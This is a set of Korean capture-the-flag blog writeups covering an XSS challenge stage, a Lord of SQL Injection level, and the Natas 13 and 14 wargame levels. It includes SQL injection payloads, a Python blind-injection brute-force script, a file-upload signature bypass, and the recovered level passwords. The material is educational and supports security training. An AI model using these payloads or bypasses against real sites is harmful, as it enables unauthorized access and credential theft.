style 속성을 이용하는 문제이다.

stage 12와 마찬가지로 value에 1을 넣어주고, onclick속성을 이용하여 다음과 같이 alert를 넣어주었다.

 

그랬더니 공격에 성공할 수 있었다.

'Web Hacking > XSS Challenge' 카테고리의 다른 글

[XSS Challenge] Stage 14  (0) 2022.06.19
[XSS Challenge] Stage 12  (0) 2022.05.28
[XSS Challenge] Stage 10  (0) 2022.05.21
[XSS Challenge] Stage 09  (0) 2022.05.21
[XSS Challenge] Stage 08  (0) 2022.05.15

  • preg_match($pattern, $subject, [, $matches]) : 해당 문자열에서 전달받은 정규 표현식과 일치하는 패턴을 검색하는 함수 (여기서 필터링하는 문자 : 'prob', '_', '.', '()', 'or', 'and')
  • addslashes() : 매개변수로 넘겨준 문자열 안에 single quote(') 혹은 double quote("), 백슬래쉬(\), NULL 바이트가 포함되어 있다면 해당 문자 앞에 역슬래시(\)를 추가해 주는 함수

1. pw 길이 구하기

?pw=' || length(pw)=8%23

위처럼 입력해주었더니 Hello admin이 출력되었다.

따라서 pw의 길이가 8이라는 것을 알 수 있다.

 

2. pw 구하기

import requests

URL="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
params = {'pw':''}
cookie={"PHPSESSID":"lu9ovphnbrl7ub6umdqv27vpbd"}
pw_length=8

password = ''
for i in range(pw_length):
    for j in range(32, 127):
        params['pw'] = "'||id='admin'&&substring(pw,{},1)='{}'-- ".format(i+1, chr(j))
        res = requests.get(URL, params=params, cookies=cookie)
        if "Hello admin" in res.text:
            password += chr(j)
            break

print(password)

따라서 url에 ?pw=7b751aec를 입력해주었고 다음과 같이 공격에 성공할 수 있었다.

 

참고 자료 : yenua.tistory.com

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] Skeleton  (0) 2022.09.18
[Lord of SQL Injection] vampire  (0) 2022.09.09
[Lord of SQL Injection] darkelf  (0) 2022.05.28
[Lord of SQL Injection] wolfman  (0) 2022.05.21
[Lord of SQL Injection] orc  (0) 2022.05.14

다음은 natas14의 페이지 화면이다.

 

아무거나 입력해주었더니 다음과 같이 떴다.

 

View sorucecode를 통해 소스코드를 확인해보았다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas14", "pass": "<censored>" };</script></head>
<body>
<h1>natas14</h1>
<div id="content">
<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

if문에서 mysql_query가 존재하면 로그인에 성공하도록 되어있다.

 

그래서 username을 참으로 만들기 위해 "or 1=1# 을 입력해주었으며 뒤는 주석처리되도록 하였다.

 

이를 입력했더니 아래와 같이 비밀번호를 획득할 수 있었다.

AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 15 > Level 16  (0) 2022.06.25
[Natas] Level 14 > Level 15  (0) 2022.06.25
[Natas] Level 12 > Level 13  (0) 2022.06.18
[Natas] Level 11 > Level 12  (0) 2022.05.27
[Natas] Level 10 > Level 11  (0) 2022.05.27

다음은 natas13의 페이지 화면이다.

 

아무 파일을 업로드해본 결과 다음과 같이 떴다.


View sourcecode를 통해 소스코드를 확인해주었다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

exif_imagetype함수를 통해 이미지파일만 업로드 가능하도록 하였다.

 

이전 단계와 동일하게 php파일을 작성해주어 비밀번호를 찾을 수 있도록 하였다.

 

그리고 이를 업로드해주었더니 아직은 jpg파일이 아니기 때문에 아래와 같이 jpg가 아니라고 뜬다.

 

그래서 이를 burp suite를 통해 jpg를 php로 변경해주었다.

그리고 파일 시그니처인 GIF89a를 추가해주었다.

 

그랬더니 아래와 같은 화면이 나타났다.

 

파일을 눌러주었더니 아래와 같이 비밀번호를 획득할 수 있었다.

GIF89aLg96M10TdfaPyVBkJdjymbllQ5L6qdl1

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 14 > Level 15  (0) 2022.06.25
[Natas] Level 13 > Level 14  (0) 2022.06.19
[Natas] Level 11 > Level 12  (0) 2022.05.27
[Natas] Level 10 > Level 11  (0) 2022.05.27
[Natas] Level 9 > Level 10  (0) 2022.05.21

+ Recent posts